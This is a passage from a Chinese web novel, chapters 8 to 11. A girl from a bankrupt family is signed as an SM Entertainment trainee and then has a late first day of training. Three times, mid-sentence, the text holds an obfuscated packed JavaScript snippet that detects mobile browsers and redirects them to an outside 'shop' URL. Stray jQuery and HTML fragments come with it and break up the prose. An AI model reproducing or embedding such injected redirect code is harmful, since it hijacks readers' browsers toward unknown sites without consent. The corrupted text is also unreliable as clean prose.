姜怀瑾抬起头,很难得的丢给她一个笑容,这恐怕是她为数不多的表情。因为公司破产,很有可能这栋别墅也会被拍卖,姜怀瑾也不想给她们压力。 姜智恩直言不讳,“小姑,我要告诉你一件事。” 姜怀瑾狐疑地看着她,“怎么了,小恩,是生活费不够了吗?” 姜智恩摇头,轻轻叹息一声,“小姑,我签约SM公司了!明天就去签合同。练习生期间,所有费用免费,她们还提供生活费,你不用为我的生活担忧了!我相信公司一定可以撑下去!小姑,我真的相信着。” 8. (008) 姜怀瑾愣住了。 手里的文件差点滑落,她抬起头,难以置信地看着姜智恩,像是没听清她刚才说的话。 “你说什么?” “我签约SM了。”姜智恩重复了一遍,语气比刚才更加平静,“明天就去签合同。” 姜怀瑾腾地站起来,三步并作两步走到姜智恩面前,双手握住她的肩膀,眼眶瞬间红了:“小恩,你说什么?SM?那个SM娱乐?” 姜智恩点点头,从兜里掏出那张已经被她攥得有些发皱的名片,递给姜怀瑾。 姜怀瑾低头看着那张烫金名片,手指微微颤抖。 她当然认识这个标志,整个韩国,没有人不认识这个标志。那是无数少男少女梦想的起点,也是韩流娱乐帝国的象征。 “你遇到SM的星探了吗?”姜怀瑾的声音有些哽咽,她抬起头,目光复杂地看着姜智恩,“小恩,你是不是……是不是因为家里的情况,才答应的?” 姜智恩没有否认,只是轻轻握住姜怀瑾的手:“小姑,这是我自己的选择。而且,金室长说了,可以预支生活费。” “预支生活费”这五个字,像一把钝刀,狠狠割在姜怀瑾心上。 她一把抱住姜智恩,眼泪再也忍不住,夺眶而出:“对不起,小恩,对不起……是小姑没用,是小姑连累了你……” “小姑,你别这样。”姜智恩轻轻拍着她的背,像小时候姜怀瑾安慰她那样,“这是我愿意的,而且,SM是很好的公司,说不定我真的能出道呢。” 姜怀瑾松开她,抹了把眼泪,挤出一个难看的笑容:“对,我们小恩这么漂亮,这么有气质,肯定能出道的。到时候,小姑就是大明星的小姑了。” 李在伊不知什么时候从房间里探出头来,听到这句话,眼睛亮晶晶的:“欧尼要当爱豆了吗?真的吗?” 姜智恩看着她,笑着点了点头。 李在伊“哇”地一声冲出来,一把抱住姜智恩:“欧尼太厉害了!以后我就可以跟同学们炫耀,我欧尼是SM的练习生!” 看着李在伊兴奋的样子,姜智恩心里那块悬着的石头,终于落下来一点。 至少,这个决定,让这个沉闷了好几天的家,重新有了一丝生气。 第二天一早,姜智恩换上了一身干净整洁的衣服,白色衬衫配浅蓝色牛仔裤,头发扎成一个简单的马尾。 她没有化妆,只是在镜子前站了很久,仔细打量着镜子里那张脸。 那张脸,确实像金成宇说的那样,很漂亮。 五官精致却不凌厉,眉眼间带着一股清冷的气质,但笑起来的时候,又会有一种说不出的温柔。 皮肤白皙细腻,身材高挑匀称,站在人群里,确实会让人忍不住多看几眼。 但漂亮,能当饭吃吗? 姜智恩不知道。 她只知道,今天这一步,必须走下去。 手机响了。 是金成宇发来的短信:【姜小姐,我十分钟后到您家楼下。】 姜智恩深吸一口气,拿起包,走出房间。 姜怀瑾已经在门口等着了,看到她出来,立刻上前帮她整理了一下衣领:“紧张吗?” “有一点。”姜智恩老实回答。 “没事的,就当是去见识见识。”姜怀瑾握住她的手,“不管结果怎么样,小姑都支持你。” 姜智恩点点头,刚要出门,又被姜怀瑾叫住。 “等等。”姜怀瑾从包里掏出一个信封,塞进她手里,“拿着,万一要用钱。” 姜智恩打开一看,是一沓韩元,大概有二十万。她知道,这是姜怀瑾从牙缝里挤出来的。 “小姑,不用……” “拿着。”姜怀瑾打断她,“出门在外,身上不能没钱。听话。” 姜智恩握着那个信封,心里暖得发烫。她重重点了点头,转身出了门。 楼下,一辆黑色的现代轿车停在路边。 金成宇站在车旁,看到姜智恩出来,立刻笑着迎上去:“姜小姐,早上好。” “金室长早。” 金成宇替她拉开后座车门:“请。” 车子缓缓驶出小区,朝着江南区方向开去。 一路上,金成宇不停地给她介绍SM公司的情况,从练习生制度到出道流程,从师资力量到艺人资源,事无巨细。 姜智恩安静地听着,偶尔点点头,目光却落在窗外飞速后退的街景上。 首尔的早晨,忙碌而喧嚣。上班族们行色匆匆,学生们三三两两结伴而行,街边的咖啡店飘出浓郁的香气。这座城市,每天都在上演着无数的故事,有欢笑,有泪水,有离别,有重逢。 而她,姜智恩,也终于成了这些故事里的一个角色。 “姜小姐?”金成宇的声音把她拉回现实。 “啊,对不起,您说。” 金成宇笑了笑,没有介意:“我说,待会儿到了公司,会先带您去见面试官。面试很简单的,就是做个自我介绍,然后唱首歌或者跳段舞,您准备了吗?” 姜智恩摇摇头:“没有。” 她确实没有准备。 从小到大,她从来没在别人面前唱过歌,更别说跳舞了。 金成宇愣了一下,随即安慰道:“没关系,那就随便唱两句,主要是看看您的音色和形体。” 姜智恩点点头,心里却没有底。 车子在一栋灰色的建筑前停下。 姜智恩下车,抬头看着眼前的SM娱乐大楼。 比她想象中要低调一些,没有那么多花里胡哨的装饰,就是一座普通的写字楼。但门口进进出出的年轻男女,个个打扮精致,脸上带着或紧张或期待的神情,让这里平添了几分不一样的气息。 “走吧。” 金成宇带着她走进大楼。 一楼大厅里,几个穿着校服的女生正在低声交谈,看到姜智恩进来,目光齐刷刷地投过来,带着审视和打量。 姜智恩有些不自在,低下头,跟在金成宇身后快步走向电梯。 电梯在七楼停下。 门打开的瞬间,姜智恩听到了一阵音乐声,还有整齐的脚步声。 那是练习室里传来的声音。 金成宇带着她穿过走廊,经过一间间练习室。透过玻璃门,姜智恩看到里面一个个年轻的练习生,正跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352950|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音乐挥汗如雨。他们的脸上写满了认真和专注,每一个动作都力求完美。 姜智恩的脚步顿了顿。 这就是她将要面对的生活吗? 每天十几个小时的训练,没有休息日,没有娱乐,只有一遍又一遍的练习,直到把每一个动作刻进肌肉记忆里。 她能坚持下来吗? “姜小姐?”金成宇回头看她。 姜智恩收回目光,跟了上去。 面试室在走廊尽头,是一间不大的房间,里面摆着一张长桌和几把椅子。墙上挂着一面镜子,镜子前有一小块空地,应该就是面试者表演的地方。 “您稍等一下,我去通知面试官。”金成宇说完,转身出去了。 姜智恩一个人站在房间里,手心开始出汗。她走到镜子前,看着镜子里那张脸,突然觉得自己很陌生。 她真的要做这件事吗? 门被推开了,姜智恩下意识地转身,却愣住了。 进来的不是面试官,而是一个女生。 一个很漂亮的女生。 她看起来比姜智恩大几岁,身高大概一米六八左右,穿着一件宽松的白色卫衣和黑色紧身裤,头发披散着,脸上没化妆,却白得发光。五官精致得像是画出来的,尤其是一双眼睛,又大又亮,像藏着星星。 但最吸引人的,不是她的长相,而是她身上的气质。 那是一种很特别的气质,清冷中带着温柔,疏离中又透着亲切,让人看一眼就移不开目光。 “你好。”女生先开口了,声音很好听,软软的,带着一丝慵懒,“你是来面试的吗?” 姜智恩点点头:“是的。” “我也是来面试的。”女生笑了笑,走到她身边,也在镜子前站定,“有点紧张。” 姜智恩看着她,有些意外。这个女生看起来一点也不像紧张的样子,反而很从容,很淡定。 “你叫什么名字?”女生问。 “姜智恩。” “姜智恩……”女生重复了一遍,点点头,“很好听的名字。我叫张素拉。” “你好。” 两人沉默了几秒,张素拉突然问:“你准备唱什么歌?” 姜智恩愣了一下,摇摇头:“我不知道。” 张素拉有些意外,她看向姜智恩,“不知道?” “嗯。”姜智恩老实回答,“我……没怎么唱过歌。” 张素拉一听,突然笑了。那笑容像春日里的暖阳,让人心里莫名安定下来:“那你待会儿就随便唱两句吧,面试官主要看的是潜质,不是技巧。” 姜智恩点点头,心里的紧张稍微缓解了一些。 这时,门又被推开了。一个穿着职业装的女人走进来,看到张素拉,愣了一下:“素拉?你怎么在这儿?” “欧尼。”张素拉礼貌地打了个招呼,“我来面试。” 女人皱了皱眉:“你不是已经在练习生名单里了吗?怎么还要面试?” 张素拉笑了笑,没有解释,只是说:“想重新走一遍流程。” 女人没再多问,看向姜智恩:“你是姜智恩吧?跟我来,面试官准备好了。” 9. (009) 姜智恩深吸一口气,跟着女人往外走。 经过张素拉身边时,她轻声说:“加油。” 姜智恩看了她一眼,点了点头。 面试室在隔壁,比刚才那间大一些。长桌后面坐着三个人,两男一女,年纪都在四十岁左右,表情严肃。 “坐吧。”中间的男人指了指桌前的椅子。 姜智恩坐下,双手放在膝盖上,背挺得笔直。 “姜智恩,十九岁,中国来的?”男人翻着手里的资料。 “是的。” “为什么想来SM?” 姜智恩沉默了两秒,说:“因为SM是最好的。” 男人笑了一下,那笑容里带着一丝玩味:“最好的?你知道进SM有多难吗?” “知道。” “知道还来?” 姜智恩抬起头,看着他的眼睛:“因为我想试一试。” 男人点点头,合上资料:“好,那就试试吧。唱首歌。” 姜智恩站起来,走到镜子前。她看着镜子里那张脸,脑海里一片空白。 唱什么? 她从来没有认真学过唱歌,只是在手机里听过一些歌,偶尔跟着哼两句。 她深吸一口气,开口唱了。 唱的是东方神起的《气球》,这是一首欢快的歌曲,比较适合女生的声线,更因为这首歌她昨天晚上突然喜欢上了,来回循环了一夜,所以旋律很熟。 但她只唱了四句,就被打断了。 “可以了。”男人说。 姜智恩停下,转过身看着他们。 三个人交换了一个眼神,左边的女人开口了:“你的音色不错,但技巧太生疏了,高音部分完全没上去,气息也不稳。” 右边的男人接着说:“而且你的韩语发音有些问题,带着口音。” 中间的男人沉默了几秒,说:“姜小姐,你的外形条件确实很好,气质也很特别,但唱歌和跳舞都不是一天两天能练出来的。我们SM的要求很高,练习生至少要经过三到五年的训练才能出道,你觉得自己能坚持下来吗?” 姜智恩没有说话。 她不知道该怎么回答。 她不是没有信心,而是完全没有概念。她不知道三到五年意味着什么,不知道每天十几个小时的训练是什么感觉,不知道能不能在那么多优秀的练习生里脱颖而出。 她只知道,她想帮小姑。 “这样吧。”中间的男人站起来,“你的情况我们了解了,回去等通知吧。” 姜智恩愣了一下:“这就结束了?” “嗯,面试结束了。”男人点点头,“结果会在一周内通知你。” 姜智恩站在原地,心里涌起一股说不出的失落。 她知道,这个面试,她搞砸了。 走出面试室,姜智恩靠在走廊的墙上,长长地吐了一口气。 果然,没那么容易。 她低下头,看着自己的脚尖,心里空落落的。 “欧尼!你怎么在这里?” 一个声音响起,姜智恩抬头,看到金钟沄站在不远处,正看着她。 “嗯。”姜智恩点点头,“我来面试。” 金钟沄走过来,在她身边站定:“面试?你是说你要当爱豆?情况怎么样?” 姜智恩摇摇头,苦笑了一下:“应该不行。” 金钟沄看着她,目光里带着一丝探究:“你很想进SM吗?” 姜智恩沉默了几秒,说:“我需要钱。” 这个答案,直接得有些伤人。 但金钟沄没有露出惊讶或鄙夷的表情,只是轻轻点了点头:“明白了。” 这时,走廊那头传来一个声音:“钟沄,希澈约着去舞蹈室练习,你快点!!” 金钟沄回头应了一声,“知道了,正洙哥。” 然后,他看向姜智恩:“等我出来,请你喝咖啡。” 姜智恩愣了一下,刚想拒绝,金钟沄已经转身走了。 她站在原地,看着金钟沄的背影消失在面试室的门后,心里涌起一股奇怪的感觉。 这个男生,也在SM当练习生,据说已经有五年了,可是还没有出道。 好像真的挺难的。 姜智恩突然想到面试官说的,SM的条件很高,不是什么人都能进来,哪怕是当上练习生了,很有可能练习五六年,却仍然不能出道。 她……真的能成功吗? 姜智恩不知道,她也没有离开。 她也不知道自己为什么不走,只是觉得,应该等金钟沄出来。 她坐在走廊尽头的休息椅上,看着来来往往的人。有练习生,有工作人员,有像她一样来面试的人。 每个人脸上都带着不同的表情,或紧张,或期待,或失落,或兴奋。 时间一分一秒地过去。 大概过了二十分钟,金钟沄走出来,脸上带着淡淡的笑意。 他的身后跟着的大男孩是金溪澈,还有另一个穿着宽大衣衫的男孩,应该就是刚才提到的那位正洙哥。 在看到姜智恩的时候,金溪澈的眼睛一亮,“姜智恩xi,我还说钟云要带我去见谁,原来是你!” 朴正株询问了一声,“她谁呀?新来的练习生吗?你们怎么认识的?最近公司要成立新男团了,别搞出什么恋爱绯闻啊!小心不能出道了!” 朴正株比金溪澈和金钟沄要大一点,认真仔细的他操碎了心。 金钟沄拍了下朴正株的肩,“呀,哥,你想什么呢?智恩xi是我在首尔认识的好朋友。对吧?” “嗯。”姜智恩肯定地的点点头。 “算了,我懒得管。”朴正株拉着金溪澈要走,“我和希澈去吃饭,你们聊吧,就不打扰了。” “哎,干什么不一起啊?”金溪澈撇撇嘴,有些不满。 朴正株无奈,“他俩关系那么好,你不觉得自己是电灯泡吗?” 金溪澈抿唇,无奈挥挥手,跟着朴正株离开了。 等着两人离开,金钟沄才询问:“智恩xi,等很久了吧?” 姜智恩摇摇头:“没有。” “走吧,请你喝咖啡。”金钟沄说完,转身要走,却被一个匆匆跑来的女生叫住了。 “钟沄欧巴!老师找你,让你马上去练习室!” 金钟沄皱了皱眉:“现在?” “嗯,很急。” 金钟沄看向姜智恩,有些抱歉地说:“对不起,我得先去一下。你等我?我很快回来。” 姜智恩连忙说:“不用了,你先去忙吧,我自己回去就行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352951|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金钟沄犹豫了一下,从包里掏出手机:“那好吧,回头我联系你。” 两人有联系方式,到时候再约也不是问题。 很快,金钟沄就被那个女生拉着匆匆走了。 姜智恩站在原地,看着手机屏幕上的短信,还停留在上次相约做饭的那一天。 她笑了笑,把手机收起来,准备离开。 但刚走到电梯口,她又停住了。 她不想回去。 不想回去面对姜怀瑾期待的眼神,不想告诉她面试搞砸了,不想看到那双眼睛里的失望。 她转身,走回那条走廊,又在那张休息椅上坐了下来。 走廊里很安静,只有偶尔传来的脚步声和远处的音乐声。 姜智恩靠在椅背上,闭上眼睛,脑海里乱糟糟的。 她想起金成宇塞给她名片时的执着,想起姜怀瑾抱着她哭时的眼泪,想起李在伊亮晶晶的眼睛,想起金钟沄那句轻轻的“加油”。 然后,她想起了自己唱的那四句歌。 唱得真烂。 她苦笑了一声,把脸埋进手掌里。 “小姑娘,怎么一个人坐在这里哭?” 一个温和的声音响起。 姜智恩猛地抬头,看到面前站着一个老人。 五十多岁的样子,头发花白,穿着一件深灰色的夹克,戴着金丝边眼镜,看起来温文尔雅,像个大学教授。 但那双眼睛,却格外有神,像能看穿人心。 姜智恩连忙擦了擦眼角,站起来:“对不起,我没有哭。” 老人笑了笑,那笑容很慈祥,让人莫名觉得安心:“那就是眼睛里进沙子了。” 姜智恩愣了一下,点点头:“对,进沙子了。” 老人没有走,反而在她旁边坐了下来,拍了拍身边的椅子:“坐吧,站着干嘛。” 姜智恩犹豫了一下,还是坐下了。 “来面试的?”老人问。 “嗯。” “结果怎么样?” 姜智恩沉默了几秒,说:“不太好。” 老人点点头,没有继续追问,而是说:“我年轻的时候,也面试过很多次。有一次,面试了七家公司,全被刷下来了。” 姜智恩转头看着他,有些意外。 老人笑了笑:“后来才知道,不是我不够好,是那些公司不适合我。后来遇到了一家公司,一眼就看中了我,我在那里干了一辈子。” 姜智恩听着,心里莫名有些触动。 “小姑娘,你知道什么是最重要的吗?”老人看着她,目光温和。 姜智恩摇摇头。 “不是天赋,不是技巧,是坚持。”老人说,“只要你自己不放弃,就没人能让你放弃。” 姜智恩愣住了。 老人站起来,拍了拍她的肩膀:“行了,我该走了。记住我说的话。” 说完,他转身朝走廊另一头走去。 姜智恩看着他的背影,突然想起什么,喊道:“请问,您是……” 老人回头,笑了笑:“我姓李,李绣满。” 姜智恩的眼睛瞬间睁大了。 李绣满? SM娱乐的创始人,李绣满? 她猛地站起来,想说什么,却发现自己大脑一片空白。 10. (010) 李绣满看着她惊讶的表情,笑了笑,又走回来:“你叫什么名字?” “姜……姜智恩。” “姜智恩。”李绣满念了一遍,点点头,“跟我来。” 姜智恩愣愣地跟着他,完全不知道发生了什么。 李绣满带着她穿过走廊,上了电梯,一直到了顶楼。他推开一间办公室的门,里面装修简单,却透着一种说不出的威严。 “坐。”李绣满指了指沙发,自己则在办公桌后面坐下。 姜智恩乖乖坐下,双手放在膝盖上,像个小学生。 李绣满看着她,目光里带着审视,也带着欣赏:“你的外形条件很好,气质也很特别,是我这么多年见过的最好的苗子之一。” 姜智恩愣住了。 刚才那三个面试官可不是这么说的。 “但是,”李绣满话锋一转,“你的唱歌和跳舞,确实不行。” 姜智恩的心一沉。 “不过,这些可以练。”李绣满说,“天赋可以后天培养,但有些东西,是天生的,练不出来。你身上那种气质,那种让人看一眼就忘不掉的感觉,是天生的。” 姜智恩不知道该说什么。 李绣满站起来,走到窗边,背对着她:“你知道SM为什么要招练习生吗?” 姜智恩想了想,说:“为了培养偶像。” “对,但也不全对。”李绣满转过身,“我们培养的,不只是偶像,是能让人们记住的人。偶像可以有很多,但能让人们记住的,很少。你,有这个潜质。” 姜智恩的心跳开始加速。 李绣满走回办公桌,拿起一张纸,递给她:“这是练习生合同,你看看。如果愿意,现在就签。” 姜智恩接过那份合同,手微微颤抖。 她低头看着上面的条款,培训费用全免,每月提供生活费,如果通过考核,三年内保证出道…… 三年。 她想起刚才那个面试官说的话,至少要经过三到五年的训练。 但李绣满说的是,三年内保证出道。 她抬起头,看着李绣满:“李社长,您为什么……” “为什么一眼就看中你?”李绣满笑了笑,“因为我在这个行业干了四十年,见过太多人。有些人,第一眼就知道,她会是明星。” 姜智恩沉默了。 她想起姜怀瑾憔悴的脸,想起李敏洙紧锁的眉头,想起李在伊偷偷抹眼泪的样子。 她想起那张破产清算通知书,想起那栋可能被法拍的房子,想起那笔像山一样压在她们头上的债务。 她握紧手里的合同,抬起头,目光坚定。 “我签。” 李绣满笑了,那笑容里带着欣慰,也带着期待:“好。” 签完合同,李绣满叫来一个工作人员,让她带姜智恩去办理入职手续。 姜智恩跟着工作人员走出办公室,整个人还处于一种恍惚的状态。 她就这么……成了SM的练习生? 从面试被刷,到被李绣满亲自签下,前后不过二十分钟。 这二十分钟,改变了她的命运。 办完手续,天已经黑了。 姜智恩走出SM大楼,站在路边,看着来来往往的车流,长长地吐了一口气。 手机响了,是短信消息。 她点开一看,是金钟沄发来的:【面试结果怎么样?我这边刚忙完,本来想去找你的,结果你已经不在了。】 姜智恩看着那条消息,嘴角浮起一丝笑意。 她想了想,打字回复:【我可能要出道了。】 消息发出后,对面沉默了几秒,然后发来一连串的问号和感叹号。 金钟沄:【???!!!】 金钟沄:【什么情况???你不是面试被刷了吗???】 姜智恩笑了笑,没有解释太多,只是说:【遇到了一个人。】 金钟沄:【谁?】 姜智恩:【李绣满老师。】 对面彻底沉默了。 过了好一会儿,金钟沄才发来一条消息:【姜智恩,你是怪物吗?】 姜智恩看着这条消息,忍不住笑出声来。 她抬起头,看着远处SM大楼上闪烁的灯光,心里涌起一股说不清的情绪。 有忐忑,有期待,有不安,也有兴奋。 但更多的,是一种从未有过的坚定。 她不知道这条路有多难走,不知道要付出多少汗水和努力,不知道未来会面对什么。 但她知道,她已经迈出了第一步。 而这第一步,是她自己选的。 她收起手机,朝着家的方向走去。她要告诉姜怀瑾这个好消息。 她知道,小姑听到这个消息,一定会哭。 不过这一次,是开心的眼泪。 * 姜智恩回到家时,楼道里的感应灯坏了,她摸着黑一层一层往上爬,心里却亮堂堂的。 推开门,玄关的灯亮着,姜怀瑾正坐在餐桌旁发呆,面前的饭菜一口没动。 听到动静,她立刻站起来:“小恩,怎么这么晚才回来?面试怎么样?吃饭了吗?” 一连串的问题,带着藏不住的紧张。 姜智恩换了鞋,走过去。 看着姜怀瑾憔悴的脸,忽然觉得鼻子有点酸。 她深吸一口气,从包里掏出那份合同,轻轻放在桌上。 “小姑,我签了。” 姜怀瑾低头看着那份合同,封面上的“SM娱乐练习生合约”几个字清清楚楚。她的手微微颤抖,翻开合同,一页一页地看过去,看到最后,眼泪已经掉了下来。 “小恩……”她抬起头,看着姜智恩,嘴唇颤抖着,说不出话来。 姜智恩走过去,抱住她:“小姑,别哭。这次是好事。” 姜怀瑾用力点头,眼泪却止不住。她紧紧抱着姜智恩,像是抱着世上最珍贵的宝贝。 “我就知道……我就知道你行的……”她哽咽着说,“你爸要是还在,不知道该多高兴……” 姜智恩轻轻拍着她的背,眼眶也有些发红。 等姜怀瑾的情绪平复下来,姜智恩才把今天的事从头到尾讲了一遍。从面试被刷,到在走廊遇到李绣满,再到签下合同。 姜怀瑾听完,又是哭又是笑:“李绣满社长亲自签的你?小恩,你太幸运了!你知道这有多难得吗?” “我知道。”姜智恩点点头,“他说我三年内能出道。” “三年……”姜怀瑾喃喃着,眼里闪着光,“三年后,我们小恩就是大明星了。” 姜智恩笑了笑,没说话。她知道,三年只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352952|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起点,真正的路还长着呢。 就在这时,门锁响了。 李敏洙推门进来,脸色疲惫,眼下青黑一片。他看到姜智恩,勉强挤出一个笑:“小恩回来了?面试怎么样?” 姜智恩正要回答,姜怀瑾已经拿着合同跑过去:“敏洙哥,你快看,小恩被SM签下了!李绣满社长亲自签的!” 李敏洙一愣,接过合同看了看,脸上的疲惫似乎消散了一些。他抬头看向姜智恩,眼里带着欣慰:“小恩,厉害啊。SM可是韩国最好的娱乐公司。” 想了想,李敏洙又看向姜怀瑾,“你之前还拒绝我让小恩参加选秀,怎么样,她现在还不是成了练习生……” 虽然李敏洙知道是因为公司破产的原因,签约成练习生就不用考虑住所和生活费,毕竟SM公司肯出这笔费用。 姜怀瑾伸出手掐了下李敏洙的腰,“哎呀,今时不同往日,我觉得小恩很适合当爱豆的,她以前的梦想就是北影,现在进入SM娱乐,当然是最好的啦!” “小恩,加油哦!”李敏洙竖起大拇指。 “谢谢小姑父。”姜智恩说,“你们吃饭了吗?我去热一下。” “别忙了,我吃不下。”李敏洙摆摆手,在餐桌旁坐下,沉默了一会儿,说,“我把钱凑齐了。” 姜怀瑾一愣:“凑齐了?凑了多少?我看你连着三天都在往外面跑!” 李敏洙点点头,从包里拿出一张银行卡,放在桌上:“这里有一千万。我把爸妈的房子卖了,又找几个朋友凑了点,总算够了。” 姜怀瑾看着那张卡,嘴唇动了动,却说不出话来。她知道,公婆的房子是李敏洙父母一辈子的心血,就这么卖了,多可惜! “敏洙……”她的声音哽咽。 “别说了。”李敏洙握住她的手,“房子没了可以再挣,人没事就行。再说,那也是我爸妈的意思,他们说不能让咱们家就这么垮了。” 姜怀瑾的眼泪又掉了下来。 就在这时,门铃响了。 三个人同时一愣。 这么晚了,谁会来? 李敏洙起身去开门,门外站着两个穿制服的人,胸前别着法院的徽章。 “请问是李敏洙先生吗?” 李敏洙的心一沉:“是。” 其中一人递过一个信封:“这是法院的传票,关于您名下房产的暂时不拍卖通知。请查收。” 李敏洙愣住了:“暂时不拍卖?” “是的,因为债权人方面提出了新的调解方案,法院决定暂缓执行。具体事项请查看文件。” 李敏洙接过信封,那两人点点头,转身离开了。 他关上门,回到屋里,拆开信封,仔细看了一遍,脸上的表情从惊讶变成复杂。 “怎么了?”姜怀瑾紧张地问。 李敏洙抬起头,苦笑了一下:“法院说,暂时不拍卖这栋房子了。债权人那边,好像有人出面调解了。” “调解?”姜怀瑾不解,“谁?” 李敏洙摇摇头:“不知道。文件上没写。” 姜智恩在一旁听着,心里忽然一动。她想起来,李绣满说过,他认识她的父亲。难道,以前父亲在韩国和李绣满老师有过合作?? 但她没有说出来。 毕竟,她也不确定,而且,现在还不是时候。 11. (011) 李敏洙把文件放在桌上,长长地叹了口气:“不管怎么说,房子暂时保住了。但是钱还是要还的。这一千万,先把朋友的还了吧,剩下的……” 他没有说下去,但姜怀瑾和姜智恩都明白他的意思。 剩下的,是那笔压在他们头上的巨债。 三个人沉默了一会儿,姜怀瑾忽然开口:“敏洙哥,接下来你有什么打算?” 李敏洙靠在椅背上,望着天花板,声音疲惫:“我也不知道。找工作?我这个年纪,又背着债,谁愿意要?重新开公司?哪来的本钱?” “可是总不能就这么耗着。”姜怀瑾说,“我一直在想,能不能把工作室重新搞起来?” 李敏洙一愣,转头看着她:“工作室?你是说以前那个花艺工作室?” “嗯。”姜怀瑾点点头,“那时候生意其实不错,是我自己没撑住。现在我想再试试。不求赚大钱,至少能补贴家用。” 李敏洙皱起眉:“怀瑾,现在不是时候。家里这个情况,哪还有精力折腾那个?” “就是因为家里这个情况,才更要折腾。”姜怀瑾的声音难得地坚决,“总不能等着天上掉钱吧?” “可是万一又亏了呢?”李敏洙的声音也大了起来,“我们已经经不起任何风险了!” “那你说怎么办?”姜怀瑾的眼圈红了,“就这么干等着?等着债主上门?等着法院真把房子收走?” 两个人对视着,空气里满是紧张。 这时,一个清亮的声音响起。 “小姑,我支持你。” 姜怀瑾和李敏洙同时转头,看向姜智恩。 姜智恩站起来,走到姜怀瑾身边,看着李敏洙,目光坚定:“小姑父,我知道你担心风险。但现在这个情况,什么都不做,才是最危险的。” 李敏洙张了张嘴,想说什么,却被姜智恩打断。 “而且,我有个提议。”姜智恩说,“我可以给工作室当代言人。” 李敏洙愣住了:“代言人?” “对。”姜智恩点点头,“我现在是SM的练习生了,以后会有曝光的机会。等我出道了,我可以给小姑的工作室代言。到时候,工作室的知名度一定会上去。” 姜怀瑾看着她,眼眶又红了:“小恩……你……” “小姑,你相信我。”姜智恩握住她的手,“你做的花那么漂亮,比我在很多店里看到的都好。这么好的东西,一定有人喜欢。现在只是缺一个机会,一个让更多人知道的机会。” 她转头看向李敏洙:“小姑父,我知道你害怕。我也害怕。但害怕有什么用?我爸说过,人这一辈子,怕的事多了,但真正要命的,是怕了就不敢动了。” 李敏洙看着她,目光里闪过一丝复杂的情绪。这个十九岁的孩子,说的话却比很多大人都通透。 姜智恩继续说:“而且,我不是白帮忙。等我出道了,代言费可以慢慢还债。虽然不多,但总能帮上一点。” 李敏洙沉默了许久,终于叹了口气,苦笑了一下:“你们姑侄俩,一个比一个倔。” 姜怀瑾看着他,眼里带着期待。 李敏洙握住她的手:“好,那就试试。不过这次咱们得稳着点,从小做起,别一下子铺太大。” 姜怀瑾的眼泪又掉下来,但这次是笑的:“好,听你的。” 姜智恩看着他们,心里暖暖的。 她想起今天在SM大楼里,李绣满说的话。 【我培养的,不只是偶像,是能让人们记住的人。】 她不知道未来会怎样,不知道这条路有多难走。但她知道,从今天起,她不再是一个人。 她有要守护的人,有要一起努力的人。 这,就够了。 窗外,夜色深沉,但远处SM大楼的灯光,依然亮着。就像一颗星星,照亮着前方的路,未来的路。 * 第一天的训练,姜智恩迟到了。 不是因为睡过头,也不是因为路上堵车。是因为早上出门前,小姑姜怀瑾突然接到电话,说有一批花材到了,需要人去接。李敏洙一早就出门找工作了,姜怀瑾一个人忙不过来,姜智恩二话不说就跟着去了花市。 等她抱着两大捆鲜花冲回家,再换乘两趟公交赶到SM大楼时,已经比规定的早训时间晚了整整二十分钟。 她气喘吁吁地推开练习室的门,里面空无一人。 姜智恩愣了两秒,心脏猛地往下沉。 “完了。” 她转身就往楼上跑。 前辈们说过,新练习生第一天迟到,基本等于在脸上刻“我不想混了”五个大字。 她一边跑一边在心里骂自己:姜智恩啊姜智恩,你是来当练习生的,不是来当花店帮工的,第一天就迟到,你是嫌自己命太长吗? 跑到三楼拐角处,她猛地刹住脚。 走廊尽头,练习室门口,站着一个人。 那人背对着她,身量不高,穿着宽松的练习服,后脑勺的头发有点卷,安静地立在墙边,像一棵被栽错地方的小树。 姜智恩放慢脚步,小心翼翼地走过去。 走近了才发现,那人面前的地板上,用白色胶带贴着一个醒目的叉号。他就站在那个叉号上,一动不动。 姜智恩:“……” 所以,这是罚站专用位? 她正犹豫要不要开口问,那人突然转过头来。 一张清秀的脸,眼睛不大,但很亮,鼻梁挺直,嘴唇微微抿着,看起来有点无辜,又有点倔强。 姜智恩认出了他。 是金钟沄。 那个说自己唱歌不跑调的男生。 金钟沄看见她,愣了一下,然后嘴角微微上扬,露出一个“你也是啊”的表情。 姜智恩心里涌起一股奇异的亲切感。 原来不止她一个人倒霉。 她轻手轻脚地走到他旁边,压低声音问:“还有多余的位置吗?” 金钟沄往旁边让了让,用眼神示意:这个叉号挺大的,挤挤能站两个人。 姜智恩就真的挤了上去。 两个人并排站着,面朝墙壁,像两个犯错的小学生。 